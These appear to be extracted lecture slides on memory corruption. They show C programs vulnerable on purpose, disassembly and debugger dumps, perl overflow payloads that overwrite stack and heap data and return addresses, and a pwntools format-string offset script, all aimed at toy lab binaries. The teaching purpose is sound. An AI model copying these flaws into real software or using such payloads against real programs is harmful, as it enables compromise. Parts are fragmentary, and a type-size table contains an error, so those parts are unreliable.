

Lecture 7: Software Vulnerabilities: Memory Corruption

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- ▶ Complexity
- ▶ Developed w/ **memory unsafe** languages (C/C++)
 - ▶ Memory Unsafe → Memory Corruption Vulnerability
- ▶ Programmer's mistakes
 - ▶ Lack of input validation (when opening connection to anyone in the Internet)
 - ▶ Improper data validation
- ▶ Architectural vulnerabilities

Software Developed w/ Memory Unsafe Languages

C was designed in 1970s

- ❶ Less networked, less attacks
- ❷ Favor performance and flexibility
- ❸ Lack of security features
 - ▶ No automatic memory management
 - ▶ No strong typing
 - ▶ No bounds checks
 - ▶ No overflow checks

It is still being widely used?

- ❶ Performance
 - ▶ C/C++/Object-C
 - ▶ Hand-written assembly
 - ▶ Optimal use of the hardware
- ❷ Backwards-compatibility
 - ▶ Legacy systems
 - ▶ Most of them were developed in C

Types of Memory Corruption Vulnerabilities

- ❶ Buffer overflow (overflow), or over-reads
 - ▶ Stack overflow
 - ▶ Heap overflow
 - ▶ Global data (.got, .data, .bss) overflow
- ❷ Integer overflow
- ❸ User-after-free
- ❹ Double free
- ❺ Format string (arbitrary write)

In computer security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations. This is a special case of the violation of memory safety.

stack_overflow.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void check_secret(char *argv1)
{
    int secret = 0xdeadcafe;
    char user_input[32];

    strcpy(user_input, argv1);

    if (secret == 0xdeadbeef) {
        puts("Congratulations! You find the flag");
        exit(0);
    } else {
        puts("Please try again!");
    }
}

int main(int argc, char **argv)
{
    if (argc != 2) {
        printf("stack_overflow <secret>\n");
        return 1;
    }
    check_secret(argv[1]);
    return 0;
}
```

Example Program W/ Stack Overflow Vulnerability

stack_overflow.asm

```
08049196 <check_secret>:
08049196: 55                push    %ebp
08049197: 89 e5            mov     %esp,%ebp
08049199: 83 ec 38        sub     $0x38,%esp
0804919c: c7 45 f4 fe ca ad de movl    $0xdeadcafe,-0xc(%ebp)
080491a3: 83 ec 08        sub     $0x8,%esp
080491a6: ff 75 08        push    0x8(%ebp)
080491a9: 8d 45 d4        lea     -0x2c(%ebp),%eax
080491ac: 50                push    %eax
080491ad: e8 9e fe ff ff  call    8049050 <strcpy@plt>
080491b2: 83 c4 10        add     $0x10,%esp
080491b5: 81 7d f4 ef be ad de cmpl    $0xdeadbeef,-0xc(%ebp)
080491bc: 75 1a            jne     80491d8 <check_secret+0x42>
080491be: 83 ec 0c        sub     $0xc,%esp
080491c1: 68 08 a0 04 08  push    $0x804a008
080491c6: e8 95 fe ff ff  call    8049060 <puts@plt>
080491cb: 83 c4 10        add     $0x10,%esp
080491ce: 83 ec 0c        sub     $0xc,%esp
080491d1: 6a 00            push    $0x0
080491d3: e8 98 fe ff ff  call    8049070 <exit@plt>
080491d8: 83 ec 0c        sub     $0xc,%esp
080491db: 68 2b a0 04 08  push    $0x804a02b
080491e0: e8 7b fe ff ff  call    8049060 <puts@plt>
080491e5: 83 c4 10        add     $0x10,%esp
080491e8: 90                nop
080491e9: c9                leave
080491ea: c3                ret
```


stack_overflow.asm

```

080491eb <main>:
80491eb: 8d 4c 24 04      lea    0x4(%esp),%ecx
80491ef: 83 e4 f0        and    $0xffffffff0,%esp
80491f2: ff 71 fc        push   -0x4(%ecx)
80491f5: 55             push   %ebp
80491f6: 89 e5          mov    %esp,%ebp
80491f8: 51             push   %ecx
80491f9: 83 ec 04        sub    $0x4,%esp
80491fc: 89 c8          mov    %ecx,%eax
80491fe: 83 38 02        cmpl   $0x2,(%eax)
8049201: 74 17          je     804921a <main+0x2f>
8049203: 83 ec 0c        sub    $0xc,%esp
8049206: 68 3d a0 04 08  push   $0x804a03d
804920b: e8 50 fe ff ff  call   8049060 <puts@plt>
8049210: 83 c4 10        add    $0x10,%esp
8049213: b8 01 00 00 00  mov    $0x1,%eax
8049218: eb 19          jmp    8049233 <main+0x48>
804921a: 8b 40 04        mov    0x4(%eax),%eax
804921d: 83 c0 04        add    $0x4,%eax
8049220: 8b 00          mov    (%eax),%eax
8049222: 83 ec 0c        sub    $0xc,%esp
8049225: 50             push   %eax
8049226: e8 6b ff ff ff  call   8049196 <check_secret>
804922b: 83 c4 10        add    $0x10,%esp
804922e: b8 00 00 00 00  mov    $0x0,%eax
8049233: 8b 4d fc        mov    -0x4(%ebp),%ecx
8049236: c9             leave
8049237: 8d 61 fc        lea    -0x4(%ecx),%esp
804923a: c3             ret

```



Stack Layout in check_secret Function




Overflowing User-defined Stack Data

```
$ ./stack_overflow $(perl -e 'print "A"x32 . "\xef\xbe\xad\xde"')  
Congratulations! You find the flag
```


Overflowing User-defined Stack Data



Overflowing User-defined Stack Data




Overflowing User-defined Stack Data




Overflowing System-defined Stack Data

```
$ ./stack_overflow $(perl -e 'print "A"x48 . "\x05\x92\x04\x08"')  
Please try again!  
Congratulations! You find the flag
```


Overflowing System-defined Stack Data



Overflowing System-defined Stack Data



Overflowing System-defined Stack Data



Example Program W/ Heap Overflow Vulnerability

heap_overflow.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void check_secret(char *argv1)
{
    char *buffer1 = malloc(8);
    int *buffer2 = malloc(4);
    int secret = 0xdeadcafe;
    memcpy(buffer2, &secret, 4);
    strcpy(buffer1, argv1);
    if ((*buffer2) == 0xdeadbeef) {
        puts("Congratulations! You find the flag");
        exit(0);
    }
    free(buffer1);
    free(buffer2);
}

int main(int argc, char **argv)
{
    if (argc != 2) {
        printf("stack_overflow <secret>\n");
        return 1;
    }
    check_secret(argv[1]);
    printf("Please try again\n");
    return 0;
}
```

Overflowing User-defined Heap Data

```
$ ./heap_overflow $(perl -e 'print "A"x16 . "\xef\xbe\xad\xde"')  
Congratulations! You find the flag
```

Overflowing User-defined Heap Data

heap	address	content	content details
		...	
	0x804d1c0		
		0x00021e49	system data
	0x804d1b0	0xdeadcafe	secret
	0x804d1a0		user_input
		...	

Overflowing User-defined Heap Data

heap	address	content	content details
		...	
	0x804d1c0		
		0x00021e49	system data
	0x804d1b0	0xdeadcafe	secret
	0x804d1a0		user_input
		...	

Overflowing User-defined Heap Data

heap	address	content	content details
		...	
	0x804d1c0		
		0x00021e49	system data
	0x804d1b0	0xdeadbeef	secret
		0x41414141	
		0x41414141	
		0x41414141	
	0x804d1a0	0x41414141	user_input
		...	

Overflowing System-defined Heap Data

```
$ ./heap_overflow $(perl -e 'print "A"x32 . "\xef\xbe\xad\xde"')  
Segmentation fault (core dumped)
```

Overflowing System-defined Heap Data

heap	address	content	content details
		...	
	0x804d1c0		
		0x00021e49	system data
	0x804d1b0	0xdeadcafe	secret
	0x804d1a0		user_input
		...	

heap

address	content	content details
	...	
0x804d1c0		
	0x00021e49	system data
0x804d1b0	0xdeadcafe	secret
0x804d1a0		user_input
	...	

	address	content	content details
heap		...	
	0x804d1c0	0xdeadbeef	system data
		0x41414141	
		0x41414141	
		0x41414141	
	0x804d1b0	0x41414141	secret
		0x41414141	
		0x41414141	
		0x41414141	
0x804d1a0	0x41414141	user_input	
	0x41414141		
	...		

Example Program W/ Global Overflow Vulnerability

global_overflow.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int buffer_data[32]={1};
int secret = 0xdeadcafe;
int buffer_bss[32];

void check_secret(char *argv1)
{
    strcpy(buffer_data, argv1);
    if (secret == 0xdeadbeef) {
        puts("Congratulations! You find the flag");
        exit(0);
    }
}

int main(int argc, char **argv)
{
    if (argc != 2) {
        printf("global_overflow <secret>\n");
        return 1;
    }
    check_secret(argv[1]);
    printf("Please try again\n");
    return 0;
}
```

Global Layout Before Overflow

```
pwndbg> x/128x &buffer_data
0x804c040 <buffer_data>: 0x00000001 0x00000000 0x00000000 0x00000000
0x804c050 <buffer_data+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060 <buffer_data+32>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070 <buffer_data+48>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080 <buffer_data+64>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090 <buffer_data+80>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0 <buffer_data+96>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0 <buffer_data+112>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0 <secret>: 0xdeadcafe 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0 <completed.0>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c100 <buffer_bss>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c110 <buffer_bss+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c120 <buffer_bss+32>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c130 <buffer_bss+48>: 0x00000000 0x00000000 0x00000000 0x00000000
```

Overflowing User-defined Global Data

```
$ ./global_overflow $(perl -e 'print "A"x128 . "\xef\xbe\xad\xde"')  
Congratulations! You find the flag
```

Global Layout After Overflow

```
pwndbg> x/128x &buffer_data
0x804c040 <buffer_data>: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c050 <buffer_data+16>: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c060 <buffer_data+32>: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c070 <buffer_data+48>: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c080 <buffer_data+64>: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c090 <buffer_data+80>: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0a0 <buffer_data+96>: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0b0 <buffer_data+112>: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c0c0 <secret>: 0xdeadbeef 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0 <completed.0>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c100 <buffer_bss>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c110 <buffer_bss+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c120 <buffer_bss+32>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c130 <buffer_bss+48>: 0x00000000 0x00000000 0x00000000 0x00000000
```

Overflowing System-defined Global Data

```
pwndbg> info files
Symbols from "./global_overflow".
Local exec file:
'./global_overflow', file type elf32-i386.
Entry point: 0x8049080
0x08048194 - 0x080481a7 is .interp
0x080481a8 - 0x080481cc is .note.gnu.build-id
0x080481cc - 0x080481ec is .note.ABI-tag
0x080481ec - 0x0804820c is .gnu.hash
0x0804820c - 0x0804827c is .dynsym
0x0804827c - 0x080482dd is .dynstr
0x080482de - 0x080482ec is .gnu.version
0x080482ec - 0x0804831c is .gnu.version_r
0x0804831c - 0x08048324 is .rel.dyn
0x08048324 - 0x08048344 is .rel.plt
0x08049000 - 0x08049024 is .init
0x08049030 - 0x08049080 is .plt
0x08049080 - 0x08049238 is .text
0x08049238 - 0x08049250 is .fini
0x0804a000 - 0x0804a055 is .rodata
0x0804a058 - 0x0804a08c is .eh_frame_hdr
0x0804a08c - 0x0804a140 is .eh_frame
0x0804bf0c - 0x0804bf10 is .init_array
0x0804bf10 - 0x0804bf14 is .fini_array
0x0804bf14 - 0x0804bffc is .dynamic
0x0804bffc - 0x0804c000 is .got
0x0804c000 - 0x0804c01c is .got.plt
0x0804c020 - 0x0804c0c4 is .data
0x0804c0e0 - 0x0804c180 is .bss
0xf7fc6174 - 0xf7fc6198 is .note.gnu.build-id in /lib/ld-linux.so.2
```

Note that the heap system data overflow heavily depends on the running environment. You may not be able to reproduce the same experiment as those described since the vulnerable library might have been patched.

- ▶ short int 16 bits [-32,768;32,767]
- ▶ unsigned short int 16 bits [0;65,535]
- ▶ unsigned int 16 bits [0;4,294,967,295]
- ▶ int 32 bits [-2,147,483,648;2,147,483,647]
- ▶ long int 32 bits [-2,147,483,648;2,147,483,647]
- ▶ signed char 8 bits [-128;127]
- ▶ unsigned char 8 bits [0;255]

```
/* ex1.c - loss of precision
 * http://phrack.org/issues/60/10.html
 */
#include <stdio.h>

int main(void)
{
    int l;
    short s;
    char c;

    l = 0xdeadbeef;
    s = l;
    c = l;

    printf("l = 0x%x (%d bits)\n", l, sizeof(l) * 8);
    printf("s = 0x%x (%d bits)\n", s, sizeof(s) * 8);
    printf("c = 0x%x (%d bits)\n", c, sizeof(c) * 8);

    return 0;
}
```

Widthness Overflow

```
$ ./ex1
l = 0xdeadbeef (32 bits)
s = 0xffffbeef (16 bits)
c = 0xffffffff (8 bits)
pwndbg> p &l
$1 = (int *) 0xffffcfcf
pwndbg> p &s
$2 = (short *) 0xffffcfea
pwndbg> p &c
$3 = 0xffffffff
```

```
0xffffcfea
    0xffffcfe9    0xffffcfec
```

```

pwndbg> x/8xw 0xffffcfe0
0xffffcfe0: 0xffffd020 0xf7fbb66c 0xbeefef10 0xdeadbeef
0xffffcff0: 0x00000001 0xffffd010 0xf7ff0200 0xf7c21519

```

```
pwndbg> x /10xb &c
0xffffcfe9: 0xef 0xef 0xbe 0xef 0xbe 0xad 0xde 0x01
0xffffcff1: 0x00 0x00
```

```
pwndbg> x /xb &c
0xffffcfe9: 0xef
pwndbg> x /2xb &s
```

```
0xffffcfea: 0xef 0xbe
pwndbg> x /4xb &l
```

```
0xffffcfec: 0xef 0xbe 0xad 0xde
pwndbg> x /4xb &c
```

```
0xffffcfe9: 0xef 0xef 0xbe 0xef
pwndbg> x /4xb &s
```

```
0xffffcfea: 0xef 0xbe 0xef 0xbe
```

Widthness Overflow

08049176 <main>:

...

```
08049187: c7 45 f4 ef be ad de  movl    $0xdeadbeef,-0xc(%ebp)
0804918e: 8b 45 f4                mov     -0xc(%ebp),%eax
08049191: 66 89 45 f2            mov     %ax,-0xe(%ebp)
08049195: 8b 45 f4                mov     -0xc(%ebp),%eax
08049198: 88 45 f1                mov     %al,-0xf(%ebp)
0804919b: 83 ec 04                sub     $0x4,%esp
0804919e: 6a 20                  push    $0x20
080491a0: ff 75 f4                push    -0xc(%ebp)
080491a3: 68 08 a0 04 08          push    $0x804a008
080491a8: e8 a3 fe ff ff          call    8049050 <printf@plt>
080491ad: 83 c4 10                add     $0x10,%esp
080491b0: 0f bf 45 f2            movswl  -0xe(%ebp),%eax
080491b4: 83 ec 04                sub     $0x4,%esp
080491b7: 6a 10                  push    $0x10
080491b9: 50                      push    %eax
080491ba: 68 1c a0 04 08          push    $0x804a01c
080491bf: e8 8c fe ff ff          call    8049050 <printf@plt>
080491c4: 83 c4 10                add     $0x10,%esp
080491c7: 0f be 45 f1            movsbl  -0xf(%ebp),%eax
080491cb: 83 ec 04                sub     $0x4,%esp
080491ce: 6a 08                  push    $0x8
080491d0: 50                      push    %eax
080491d1: 68 30 a0 04 08          push    $0x804a030
080491d6: e8 75 fe ff ff          call    8049050 <printf@plt>
```

...

Arithmetic Overflow

ex2.c - an integer overflow

```
/* ex2.c - an integer overflow */
#include <stdio.h>
```

```
int main(void)
{
    unsigned int num = 0xffffffff;

    printf("num is %d bits long\n", sizeof(num) * 8);
    printf("num = 0x%x\n", num);
    printf("num + 1 = 0x%x\n", num + 1);

    return 0;
}
```

```
$ ./ex2
num is 32 bits long
num = 0xffffffff
num + 1 = 0x0
```

Arithmetic Overflow

ex3.c - change of signedness

```
/* ex3.c - change of signedness */  
#include <stdio.h>
```

```
int main(void)  
{  
    int l;  
  
    l = 0x7fffffff;  
  
    printf("l = %d (0x%x)\n", l, l);  
    printf("l + 1 = %d (0x%x)\n", l + 1, l + 1);  
  
    return 0;  
}
```

```
$ ./ex3  
l = 2147483647 (0x7fffffff)  
l + 1 = -2147483648 (0x80000000)
```

Arithmetic Overflow

ex4.c - various arithmetic overflows

```
/* ex4.c - various arithmetic overflows */  
#include <stdio.h>
```

```
int main(void)  
{  
    int l, x;  
  
    l = 0x40000000;  
  
    printf("l = %d (0x%x)\n", l, l);  
  
    x = l + 0xc0000000;  
    printf("l + 0xc0000000 = %d (0x%x)\n", x, x);  
  
    x = l * 0x4;  
    printf("l * 0x4 = %d (0x%x)\n", x, x);  
  
    x = l - 0xffffffff;  
    printf("l - 0xffffffff = %d (0x%x)\n", x, x);  
  
    return 0;  
}
```

```
$ ./ex4
```

```
l = 1073741824 (0x40000000)
```

```
l + 0xc0000000 = 0 (0x0)
```


```
l * 0x4 = 0 (0x0)
```

```
l - 0xffffffff = 1073741825 (0x40000001)
```

An image viewer: Zgv-5.8/readgif.c

Real World Integer Overflows

Common Patterns in Integer Overflow Vulnerability




a sensitive operation

CVE-2008-2430 (VLC)

a sensitive operation

"If an attacker is able to provide the format string to an ANSI C format function in part or as a whole, a format string vulnerability is present." - scut/team tes0




fmt.c

```
int main()
{
    int X = 7, Y = 8;

    // format string example
    printf("X is %d, Y is 0x%08x\n", X);
}
```

```
$ ./fmt
X is 7, Y is 0xf7c184be
```



Read some value on the stack!

0x41414141 is string of AAAA.
We find where the actual format
string stored on the stack.


```
$ ./fmt_vuln $(printf "%x28\x04\x08JUNK\x29\x04\x08JUNK\x2a\x04\x08JUNK\x2b\x04\x08"
(JUNK)JUNK*JUNK+ffb7d2937c05634
ffb7aecc 4b4e554a 4b4e554a 4b4e554a
[*] targeted val @ 0x0804c028 = -573785174 0xddccbbaa
```

extra \ is inserted to avoid bash misinterpretation

¹compiled to 64-bit binary for pwntools exploitation

aaaa

```
[*] targeted_val @ 0x00404048 = 16 0x00000010
```

11% x 11%

7ffc3ed3bb60 3ff 7f73f9114992 7f73f921af10 7f73f93c3040 7ffc3ed3c078 1f93bead8 6c6c2520786c6c25 2520786c6c252078 786c6c2520786c6c
6c2520786c6c2520

```
[*] targeted val @ 0x00404048 = 16 0x00000010
```

8th para

AAAAAAAA4141414141414141

```
[*] targeted_val @ 0x00404048 = 16 0x00000010
```

```
#!/usr/bin/env python3

import pwn
import pwnlib
from pwn import *

def exec_fmt(payload):
    r = process("./fmt_vuln_2")
    e = r.elf
    r.clean()
    r.sendline(payload)
    data = r.recvuntil(b"END", timeout=0.2)
    return data

context.arch = 'amd64'

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
padlen = autofmt.padlen
print ("Offset:\t\t\t" + str(offset))
print ("padding length:\t" + str(padlen))
```

```
$ python3 calc_offset.py
[+] Starting local process './fmt_vuln_2': pid 43044
[*] '/home/sanchuan/comp6700/lec7/fmt_vuln_2'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX disabled
  PIE:       No PIE (0x400000)
  RWX:       Has RWX segments
[+] Starting local process './fmt_vuln_2': pid 43046
[+] Starting local process './fmt_vuln_2': pid 43048
[+] Starting local process './fmt_vuln_2': pid 43050
[+] Starting local process './fmt_vuln_2': pid 43052
[+] Starting local process './fmt_vuln_2': pid 43054
[+] Starting local process './fmt_vuln_2': pid 43056
[+] Starting local process './fmt_vuln_2': pid 43058
[*] Found format string offset: 8
Offset:      8
padding length: 0
[*] Process './fmt_vuln_2' stopped with exit code 0 (pid 43058)
[*] Process './fmt_vuln_2' stopped with exit code 0 (pid 43056)
[*] Process './fmt_vuln_2' stopped with exit code 0 (pid 43054)
[*] Process './fmt_vuln_2' stopped with exit code 0 (pid 43052)
[*] Process './fmt_vuln_2' stopped with exit code 0 (pid 43050)
[*] Process './fmt_vuln_2' stopped with exit code 0 (pid 43048)
[*] Process './fmt_vuln_2' stopped with exit code 0 (pid 43046)
[*] Process './fmt_vuln_2' stopped with exit code 0 (pid 43044)
```

```
class FmtStr(object):
    """
    Provides an automated format string exploitation.
    It takes a function which is called every time the automated
    process want to communicate with the vulnerable process. this
    function takes a parameter with the payload that you have to
    send to the vulnerable process and must return the process
    returns.
    If the 'offset' parameter is not given, then try to find the right
    offset by leaking stack data.
    Arguments:
        execute_fmt(function): function to call for communicate with the vulnerable process
        offset(int): the first formatter's offset you control
        padlen(int): size of the pad you want to add before the payload
        numbwritten(int): number of already written bytes
    """
```

```
p.interactive()
```



```
$ python3 create_payload.py
[+] Starting local process './fmt_vuln_2': pid 43321
[*] '/home/sanchuan/comp6700/lec7/fmt_vuln_2'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       No PIE (0x400000)
RWX:       Has RWX segments
[+] Starting local process './fmt_vuln_2': pid 43323
[+] Starting local process './fmt_vuln_2': pid 43325
[+] Starting local process './fmt_vuln_2': pid 43327
[+] Starting local process './fmt_vuln_2': pid 43329
[+] Starting local process './fmt_vuln_2': pid 43331
[+] Starting local process './fmt_vuln_2': pid 43333
[+] Starting local process './fmt_vuln_2': pid 43335
[+] Starting local process './fmt_vuln_2': pid 43337
[*] Found format string offset: 8
[+] Receiving all data: Done (311B)
[*] Process './fmt_vuln_2' stopped with exit code 0 (pid 43321)
b'          \xa0aaaaH@@\n[*] targeted_val @ 0x00404048 = 256 0x00000100\n'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
```

The use-after-free vulnerability is a use-after-invalidation vulnerability where free is the invalid state of use. In human-readable language this means that at some point of the implementation there was a logic flaw that caused a `free()` on a chunk, but despite being `free()`'d, its memory position is still referenced, effectively making use of the `free()`'d chunk's data after it has been set free.

uaf.c

```
#include <malloc.h>
#include <stdio.h>
```

```
typedef struct UAF {
    void (*v_f)();
} UAF;
```

```
void foo()
{
    printf("I AM FOO\n");
}
```

```
void bar()
{
    printf("I AM BAR\n");
}
```

```
$ ./uaf
I AM FOO
I AM BAR
```

```
int main(int argc, const char *argv[])
{
    UAF *p = malloc(sizeof(UAF));
    p->v_f = foo;
    p->v_f();
    free(p);

    UAF *q = malloc(sizeof(UAF));
    q->v_f = bar;

    p->v_f();
}
```

A double-free vulnerability occurs when, as the name says, a variable is `free()`'d twice. It is a solid memory corruption because regarding the code, the variable is still usable but the memory pointed to that variable can be free. This could happen when using structs and then freeing just one of the components of the struct itself. Then, some functions do cleanup and finally the whole struct used and its component get `free()`'d again, effectively double-freeing the struct's internal component.

doublefree.c

```
#include <malloc.h>
#include <stdio.h>
```

```
typedef struct UAF {
    void (*v_f)();
} UAF;
```


```
void foo()
{
    printf("I AM FOO\n");
}
```

```
int main(int argc, const char *argv[])
{
    UAF *p = malloc(sizeof(UAF));
    p->v_f = foo;
    p->v_f();
    free(p);
    free(p);
}
```

```
$ ./doublefree
I AM FOO
free(): double free detected in tcache 2
Aborted (core dumped)
```

Vulnerability	Data Channel	Control Channel	Consequence
Stack Overflow	Stack Data	Return Address	Control flow hijack
Heap Overflow	Malloc Data	Heap Metadata	control flow hijack or write to memory
Format Strings	Output String	Format Parameters	Memory disclosure or write to memory or control flow hijack

Thank You



2 3



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²Instructor appreciates the help from Prof. Zhiqiang Lin.

³Further readings: *Hacking: The Art of Exploitation*, 2nd edition, Chapter 3, Jon Erickson, 2008.